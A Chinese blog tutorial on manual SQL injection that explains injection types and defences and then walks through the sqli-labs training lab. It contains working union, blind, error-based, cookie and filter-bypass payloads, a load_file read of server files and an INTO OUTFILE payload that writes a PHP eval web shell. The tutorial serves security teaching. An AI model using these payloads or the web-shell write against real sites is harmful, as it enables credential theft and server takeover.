首页 > 数据库 >SQL注入 - 手工注入

SQL注入 - 手工注入

时间:2024-03-05 19:34:55浏览次数:18  
标签:name 手工 URL Split SQL id select 注入

SQL注入

SQL注入(SQL Injection)是指Web应用程序对用户输入数据的合法性没有判断或过滤不严,攻击者可以在Web应用程序中事先定义好的查询语句的结尾后添加额外的SQL语句,在管理员不知情的情况下实现非法操作。以此来实现欺骗数据库服务器执行非授权的任意查询,从而进一步得到相应的数据信息。

简单来讲就是:攻击者通过构造恶意的SQL语句来实现对数据库的操作。

两个条件

  • 参数用户可控 —— 用户能够控制数据的输入
  • 构造的参数可带入数据库并且被执行 —— 原本要执行的sql语句拼接了用户的输入

SQL注入的核心:将输入语句拼接到代码中,并被当成SQL语句执行。

SQL注入点探测

一般通过页面的报错信息来确定是否存在SQL注入漏洞。

只要是带有参数的动态网页并且该网页访问了数据库,那么就有可能存在 SQL 注入:

  • 先加单引号 ' 或双引号 " 等看是否报错,如果报错就可能存在SQL注入漏洞。

  • 另外在URL后面加 and 1=1and 1=2 看页面是否显示一致,显示不一样的话,肯定存在SQL注入漏洞。

  • 还有就是 Timing Attack 测试,也就是时间盲注

    通过简单的条件语句比如 and 1=2 是无法看出异常的。在MySQL中,有一个Benchmark() 函数,它是用于测试性能的。 Benchmark(count,expr) 这个函数执行的结果,是将表达式 expr 执行 count 次 。

    因此,利用benchmark函数,可以让同一个函数执行若干次,使得结果返回的时间比平时要长,通过时间长短的变化,可以判断注入语句是否执行成功。

SQL注入的类型

按照注入点类型来分类

  1. 数字型注入点

类似结构 http://xxx.com/users.php?id=1 这种形式,注入点id类型为数字。

这一类的 SQL 语句原型大概为 select * from 表名 where id=1 若存在注入,可以构造出类似与如下的sql注入语句进行注入:

select * from 表名 where id=1 and 1=1
  1. 字符型注入点

类似结构 http://xxx.com/users.php?name=admin 这种形式,入点 name 类型为字符类型。

这一类的 SQL 语句原型大概为 select * from 表名 where name='admin' 这里相比于数字型注入类型的sql语句原型多了引号,可以是单引号或者是双引号。可以构造出类似与如下的sql注入语句进行注入:将后引号闭合

select * from 表名 where name='admin' and 1=1 ' 
  1. 搜索型注入点

在进行数据搜索时没过滤搜索参数,一般在链接地址中有 keyword='关键字'

此类注入点提交的 SQL 语句大致为:select * from 表名 where 字段 like '%关键字%' 若存在注入,可以构造出类似与如下的sql注入语句进行注入:

select * from 表名 where 字段 like '%测试%' and '%1%'='%1%'

按照数据提交的方式来分类:

  1. GET 注入

提交数据的方式是 GET , 注入点的位置在 GET 参数部分。

  1. POST 注入

使用 POST 方式提交数据,注入点位置在 POST 数据部分。

  1. Cookie 注入

HTTP 请求的时候会带上客户端的 Cookie, 注入点存在 Cookie 当中的某个字段中。

  1. HTTP 头部注入

注入点在 HTTP 请求头部的某个字段中。(严格讲的话,Cookie 其实应该也是算头部注入的一种形式)


按照执行效果来分类:

  1. 基于布尔的盲注

即可以根据返回页面判断条件真假的注入。

  1. 基于时间的盲注

即用条件语句查看时间延迟语句是否执行(即页面返回时间是否延长)来判断。

  1. 基于报错注入

即页面会返回错误信息,或者把注入的语句的结果直接返回在页面中。

  1. 联合查询注入

可以使用 union 的情况下的注入。

  1. 堆查询注入

可以同时执行多条语句的执行时的注入。

  1. 宽字节注入

数据库编码与 php 编码设置为不同的两个编码,这样就可能会产生宽字节注入。

SQL注入的一般步骤

1. 注入点探测

​ 手工注入:

  • 可控参数的改变是否可以影响页面的显示的结果
  • 输入的sql语句是否能报错:通过数据库的报错,看到数据库的一些语句痕迹
  • 输入的sql语句是否不报错:语句能够成功闭合

​ 工具注入:

  • sqlmap

2.信息获取

  • 环境信息:数据库类型、数据库版本、操作性系统版本、用户信息等
  • 数据库信息:数据库名、数据库表、字段、字段内容

3.权限获取

  • 编写webshell,上传木马,获取操作系统权限

MySQL注入常用函数

常用函数

version():查看数据库版本

database():查看使用的数据库

user():查看当前用户

limit:limit子句分批来获取所有数据

group_concat():一次性获取所有的数据库信息

concat_ws(':','str1','str2','str3'):按 str1:str2:str3 格式拼接字符串

length():返回指定对象的长度

left(str,num):对字符串str从左开始数起,返回num个字符(与函数right()相反)

ascii():返回字符串str的最左字符的数值,ASCII()返回数值是从0到255

updatexml(1,concat(0x7e,(),0x7e),1):一共可以接收三个参数,报错位置在第二个参数(报错注入)

extractvalue(1,concat(0x7e,())):一共可以接收两个参数,报错位置在第二个参数(报错注入)

其他

information_schema.tables:包含了数据库里所有的表

table_name:表名

table_schema:数据库名

column_name:字段名

SQL注入的防御

  1. 采用预编译技术

例如:INSERT INTO MyGuests (firstname, lastname, email) VALUES(?, ?, ?);

使用预编译的SQL语句,SQL语句的语义不会是不会发生改变的。攻击者无法改变SQL语句的结构,只是把值赋给 ?,然后将 ? 这个变量传给SQL语句。

  1. 严格控制数据类型

强类型语言中一般是不存在数字型注入的,因为在接受到用户输入id时,代码会做数据类型转换。但是没有强调处理数据类型的语言,一接收id的代码是如下等代码:

$id = $_GET['id'];
$SQL = "select * from '某字段' where id = $id;";

加入一个检查数字类型函数 is_numeric() 就可以防止数字型注入。

  1. 对特殊的字符进行转义

在MySQL中对 " ' " 进行转义,这样可以防止一些恶意攻击者来闭合语句。也可以通过一些安全函数来转义特殊字符,如 addslashes() 等。

  1. 使用存储过程

使用存储过程的效果和使用预编译语句类似,其区别就是存储过程需要先将sql语句定义在数据库中。(尽量避免在存储过程内使用动态的sql语句)。

MySQL注入实列

字符型注入

sqli-labs靶场第一题 Load URL: http://192.168.88.1:8008/sqli-labs-php7-master/Less-1/

1. 注入点探测

先看页面是否有变化?

Split URL: ?id=1 and 1=1
Split URL: ?id=1 and 1=2
拼接后的sql:select * from users where id='1 and 1=2' limt 0,1

页面没有变化,也没有报错,来判断一下是否为字符型注入?

Split URL: ?id=1' 
Execute:  You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for 
the right syntax to use near ''1'' LIMIT 0,1' at line 1 
拼接后的sql:select * from users where id='1'' limt 0,1

发现页面报错,此题应该为字符型注入。

Split URL: ?id=1' and '1'='1
Split URL: ?id=1' --+
拼接后的sql:select * from users where id='1'and '1'='1' limt 0,1

页面回显正常,确定为字符型注入。

2. 确定当前表有几列

为什么要确定表中字段的列数呢?

因为后面的 union 联合查询,使用 order by 来确定表中的列数。

联合查询特点:要求多条查询语句的查询列数是一致的。

Split URL: Split URL: ?id=1' order by 1 --+
Split URL: Split URL: ?id=1' order by 2 --+
Split URL: Split URL: ?id=1' order by 3 --+
Split URL: Split URL: ?id=1' order by 4 --+

Split URL: Unknown column '4' in 'order clause' 
拼接后的sql:select * from users where id='1' order by 4 -- limt 0,1

order by 4 根据第四列排序报错了,那么表中没有第四列,一共只有3列。

3. 判断那几列回显

用联合查询(将id弄成一个负数的值,使前面的语句失效)然后看看union查询是否有回显位。

Split URL: ?id=-1' union select 1,2,3 --+

Your Login name:2
Your Password:3
拼接后的sql:select * from users where id='-1' union select 1,2,3 -- limt 0,1

显示2,3, 那么2,3列回显。
4. 爆出数据库相关信息

Split URL: ?id=-1' union select 1,database(),version() --+

Your Login name:security
Your Password:5.7.26 
拼接后的sql:select * from users where id='-1' union select 1,database(),version() -- limt 0,1

知道了当前数据库是:security,版本信息:5.7.26。

5. 爆出当前数据库内的所有表名

Split URL: ?id=-1' union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=database() --+

Your Login name:2
Your Password:emails,referers,uagents,users
拼接后的sql:select * from users where id='-1' union select 1,2,group_concat(table_name) from information_schema.tables 
where table_schema=database() -- limt 0,1

6. 爆出当前数据库user表的所有列名

Split URL: ?id=-1' union select 1,2,group_concat(column_name) from information_schema.columns where table_name='users' 
and table_schema=database() --+

Your Login name:2
Your Password:id,username,password

7. 爆出当前数据库user表所有username和password

Split URL: ?id=-1' union select 1,2,group_concat(concat_ws(':',username,password)) from users --+

Your Login name:2
Your Password:Dumb:Dumb,Angelina:I-kill-you,Dummy:p@ssword,secure:crappy,stupid:stupidity,superman:genious,batman:mob!le,
admin:admin,admin1:admin1,admin2:admin2,admin3:admin3,dhakkan:dumbo,admin4:admin4 

获得了所有的账号和密码,顺利的拿到了很重要的信息。

8. 上传webshell


数字型注入

sqli-labs第二题:Load URL: http://192.168.88.1:8008/sqli-labs-php7-master/Less-2/

1. 注入点探测

Split URL: ?id=1 and 1=2 %23

没有任何显示。

拼接后的sql:SELECT * FROM users WHERE id=1 and 1=2 # LIMIT 0,1
Split URL: ?id=1 %23

Your Login name:Dumb
Your Password:Dumb
拼接后的sql:SELECT * FROM users WHERE id=1 # LIMIT 0,1

2. 爆出当前数据库的所有表名

Split URL: ?id=-1 union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=database() %23

Your Login name:2
Your Password:emails,referers,uagents,users
拼接后的sql:SELECT * FROM users WHERE id=-1 union select 1,2,group_concat(table_name) from 
information_schema.tables where table_schema=database() LIMIT 0,1

3. 爆出当前数据库的users表的所有列名

Split URL: ?id=-1 union select 1,2,group_concat(column_name) from information_schema.columns where table_name='users' 
and table_schema=database() %23

Your Login name:2
Your Password:id,username,password 
拼接后的sql:SELECT * FROM users WHERE id=-1 union select 1,2,group_concat(column_name) from 
information_schema.columns where table_name='users' and table_schema=database() # LIMIT 0,1

4. 爆出当前数据库usersb表的所有username和password

Split URL: ?id=-1 union select 1,group_concat(username),group_concat(password) from users %23

Your Login name:Dumb,Angelina,Dummy,secure,stupid,superman,batman,admin,admin1,admin2,admin3,dhakkan,admin4
Your Password:Dumb,I-kill-you,p@ssword,crappy,stupidity,genious,mob!le,admin,admin1,admin2,admin3,dumbo,admin4
拼接后的sql:SELECT * FROM users WHERE id=-1 union select 1,group_concat(username),group_concat(password) from users LIMIT 0,1

布尔盲注

布尔盲注一般适用于页面没有回显字段(不支持联合查询)。页面只返回True和False两种类型页面,利用页面返回不同,逐个猜解数据。

sqli-labs第五题:Load URL: http://192.168.88.1:8008/sqli-labs-php7-master/Less-5/

1.判断注入类型

Split URL: ?id=1

You are in...........

返回页面正常。

拼接后的sql:SELECT * FROM users WHERE id='1' LIMIT 0,1
Split URL: ?id=1'

You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax 
to use near ''1'' LIMIT 0,1' at line 1

返回报错。

拼接后的sql:SELECT * FROM users WHERE id='1'' LIMIT 0,1

判断是单引号注入。

1.判断当前数据库名的长度

Split URL: ?id=1' and length((select database()))>0 %23
You are in...........

......
Split URL: ?id=1' and length((select database()))>8 %23
(null)  #发生错误了

Split URL: ?id=1' and length((select database()))=8 %23
You are in...........

试到8的时候,页面正常,那么and后面的条件为真,数据库名长度为8。

拼接后的sql:SELECT * FROM users WHERE id='1' and length((select database()))=8 #' LIMIT 0,1

2.检测当前数据库名

Split URL: ?id=1' and ascii(substr((select database()),1,1))=1 %23
(null)  

BP的intruder模块经行爆破。

?id=1%27%20and%20ascii(substr((select%20database()),§1§,1))=§1§%20%23

根据响应报文的Length不同,拿到如下8位ascii码(115 101 99 117 114 105 116 121)数据库名为:security

3.检测所有表名字符长度

Split URL: ?id=1' and length((select group_concat(table_name) from information_schema.tables where table_schema=database()))=1 
%23

BP的intruder模块经行爆破。

id=1%27%20and%20length((select%20group_concat(table_name)%20from%20information_schema.tables%20where%20table_schema=database()))
=§1§%20%23 
拼接后的sql:SELECT * FROM users WHERE id='1' and length((select group_concat(table_name) from 
information_schema.tables where table_schema=database()))=29 #

intruder唯有一条Length不同,payload=29,然后根据已知了长度对每一个字符进行爆破。

4.检测所有字段名的长度

得到表名后,类似于检测所有表名字符长度的操作。

5.逐一检测所有字段名

类似于检测当前数据库名。


时间盲注

时间盲注针对页面没有任何变化。if(a,sleep(10),1)如果a结果是真的,那么执行sleep(10)页面延迟10秒,如果a的结果是假,执行1页面不延迟。

sqli-labs第九题:Load URL: http://192.168.88.1:8008/sqli-labs-php7-master/Less-9/

1.判断注入类型

Split URL: ?id=1" and if(1=1,sleep(3),1)%23

页面不延迟

Split URL: ?id=1' and if(1=1,sleep(3),1)%23

页面延时3秒,判断出是单引号注入。

2.判断数据库名长度

Split URL: ?id=1' and if(length((select database()))=8,sleep(3),1)%23

页面延时3秒,判断出是数据库名长8。

3.逐一判断数据库名字符

Split URL: ?id=1' and if(ascii(substr((select database()),1,1))=115,sleep(3),1)%23

页面延时3秒,判断出是数据库名的一个字符的ascii码为115,以此类推。

4.判断所有表名的长度

?id=1'and if(length((select group_concat(table_name) from information_schema.tables where table_schema=database()))=29,
sleep(3),1)%23

页面延时3秒,判断出所有表名的长度为29。

5.逐一检测所有字段名,类似于检测数据库名

?id=1' and if(ascii(substr(select group_concat(table_name) from information_schema.tables where table_schema=database()),
1,1))>1,sleep(3),1)%23

Cookie注入

cookie注入与get注入post注入没有什么区别,只要与数据库交互的地方都有可能存在注入。

sqli-labs第二十题:Load URL: http://192.168.88.1:8008/sqli-labs-php7-master/Less-20/

使用BP抓包修改cookie字段

Cookie: uname=admin' %23

可以开始注入了,和前面的注入一样:

Cookie: uname=admin' and 0 union select 1,2,3 %23
Cookie: uname=admin' and 0 union select 1,database(),user() %23

http头部行中的某些字段也可以注入,如Referer


读写文件

sql注入读写文件。
读文件 load_file

http://92.168.88.1:8008/sqli-labs-php7-master/Less-1/?id=-1' union select 1,2,hex(load_file("D:\\phpstudy_pro\\WWW\\
sqli-labs-php7-master\\Less-1\\index.php")) %23

写文件 into outfile

http://192.168.88.1:8008/sqli-labs-php7-master/Less-7/?id=-1')) union select "<?php @eval($_POST[value])?>" into outfile 
"D:\\phpstudy_pro\\WWW\\sqli-labs-php7-master\\Less-1\\a.php" %23

绕过注释符过滤

sqli-labs第二十三题:Load URL: http://192.168.88.1:8008/sqli-labs-php7-master/Less-23/

Split URL: ?id=1' or 1 or'

利用报错注入

Split URL: ?id=1' or (extractvalue(1,concat(0x7e,version()))) or'
Execute: XPATH syntax error: '~5.7.26'
Split URL: ?id=1' or (extractvalue(1,concat(0x7e,(select table_name from information_schema.tables where table_schema=database() 
limit 0,1)))) or'
Execute: XPATH syntax error: '~emails' 

利用union select

Split URL: ?id=-1' union select 1,2,3'
Execute: Your Login name:2
Your Password:3 
Split URL: ?id=-1' union select 1,version(),database()'
Execute: Your Login name:5.7.26
Your Password:security 

绕过and&or过滤

sqli-labs第二十五题:Load URL: http://192.168.88.1:8008/sqli-labs-php7-master/Less-25/

Split URL: ?id=1' || 1 %23
Execute: Your Login name:Dumb
Your Password:Dumb
Split URL: ?id=1' || (extractvalue(1,concat(0x7e,version()))) %23
Execute: XPATH syntax error: '~5.7.26'

绕过空格过滤

sqli-labs第二十六题:Load URL: http://192.168.88.1:8008/sqli-labs-php7-master/Less-26/

本题绕过了or,空格,注释

Split URL: ?id=1' || (1) ||'
Split URL: Your Login name:Dumb
Your Password:Dumb
Split URL: ?id=1' || (extractvalue(1,concat(0x7e,version()))) ||'
Execute: XPATH syntax error: '~5.7.26'
Split URL: ?id=1' || (select extractvalue(1,concat(0x7e,version()))) ||'
Split URL: FUNCTION security.selectextractvalue does not exist

空格被过滤了,可以考虑使用其他的代替

%09 tab键(水平)
%0a 新一行
%0c 新一页
%0d return 功能
%0b tab键(垂直)
%a0 空格
/**/ 代替空格
Split URL: ?id=1' || (select%a0extractvalue(1,concat(0x7e,version()))) ||'
Execute: Invalid utf8 character string: 'select\xA0extractvalue' 

SQL注入工具

sqlmap

sqlmap是一款基于python编写的渗透测试工具,在sql检测和利用方面功能强大,支持多种数据库。

文档来自:https://sqlmap.highlight.ink/


若有错误,欢迎指正!o( ̄▽ ̄)ブ

标签:name,手工,URL,Split,SQL,id,select,注入
From: https://www.cnblogs.com/smileleooo/p/18054724

相关文章

  • SQLSERVER FORMAT() 格式化日期、数字等用法示例
    --格式化日期SELECTFORMAT(GETDATE(),'d','en-US')--11/17/2023,FORMAT(GETDATE(),'d','zh-cn')--2023/11/17,FORMAT(GETDATE(),'D','en-US')--Friday,Novemb......
  • K8S部署MySQL5.7主从集群
    参考https://blog.csdn.net/qq_43114229/article/details/124078914https://kubernetes.io/zh-cn/docs/tasks/run-application/run-replicated-stateful-application/MySQL主从同步架构图mysql-0是mastermysql-1和mysql-2是两个备份当mysql写的时候,找headlessservice中的m......
  • SQL---索引
    今天我们一起学习并梳理一下数据库中的索引的知识,带着以下几个问题,去深入的了解。what:索引是什么?索引有哪几种类型?why:为什么要用到索引?作用是什么?优点和缺点?who:谁去使用?开发人员或测试人员where:在代码中或者sql查询中when:开发阶段、测试阶段、性能优化阶段how:怎么......
  • MySQL视图创建
    createorreplaceviewv_user_infoasselect'SCYB'as`医保注册编码`,t.hilist_codeas`医保编码`,t.hilist_nameas`医保名称`,t.pinyinas`拼音码`,t.chrgitm_lvas`收费项目等级`,nullas`收......
  • mysql根据父节点递归查询所有子节点
    SELECTt3.*FROM(SELECTt1.*,IF(FIND_IN_SET(parent_id,@pids)>0,@pids:=CONCAT(@pids,',',id),'0')ASischildFROM(SELECTt.id,t.parent_id,t.NAMEFROMt_parentAStORDERBYt.idASC)t1,......
  • snappy压缩格式下使用数字与字符串不等于比较,hiveSQL和sparkSQL表现不一致的行为记录
    Hive版本:2.3.4Spark版本:2.4.0当时用Snappy格式对表进行压缩时,时用<>符号将字符串与数字进行比较会产生不一致的结果。SparkSQL结果并非预期结果。DROPTABLEIFEXISTStest.zero_test;CREATETABLEtest.zero_testTBLPROPERTIES("orc.compress"="SNAPPY")ASSELECT......
  • sql注入--基础注入判断方法(构造闭合)
    在我们拿到一个sql注入的题目之后,在确定了注入点之后,接下来要做的事情就是进行基础注入判断。在开始前,我们需要理解一个SQL注入中最常用的词汇——构造闭合。对于SQL处理语句后台的写法:SELECTusername,passwordFROMusersWHEREid=?这里的问号可以有多种的闭合方式,......
  • Mysql之SQL语句初体验
    前言本文通过简单的示例去了解Mysql的DDL、DML、DCL的语句用法。一、DDL语句DDL(DataDefinitionLanguage)语句:数据定义语言,主要是进行定义/改变表的结构、数据类型、表之间的链接等操作。常用的语句关键字有CREATE、DROP、ALTER等。获取帮助信息mysql>HELPCREATE......
  • MySQL字段长度详解 附实操分析
    一、前言搜了下有关方面的内容发现良莠不齐。大部分人对这方面的内容也比较模糊,先附上MYSQL常用类型图。二、字节首先需要达成共识的是:1个Byte字节等于8个bit位。bit是最小一级的信息单位,可以表示一个0或1(即二进制);那么由此我们可以计算,一个字节其实可以表示256种取值。计算方......
  • 聊聊sql优化的15个小技巧(转)
    原文:https://mp.weixin.qq.com/s/DsUrEHdkMvsO7RvnDcKNhg1避免使用select*很多时候,我们写sql语句时,为了方便,喜欢直接使用select*,一次性查出表中所有列的数据。反例:select*fromuserwhereid=1;在实际业务场景中,可能我们真正需要使用的只有其中一两列。查了很多数据,但......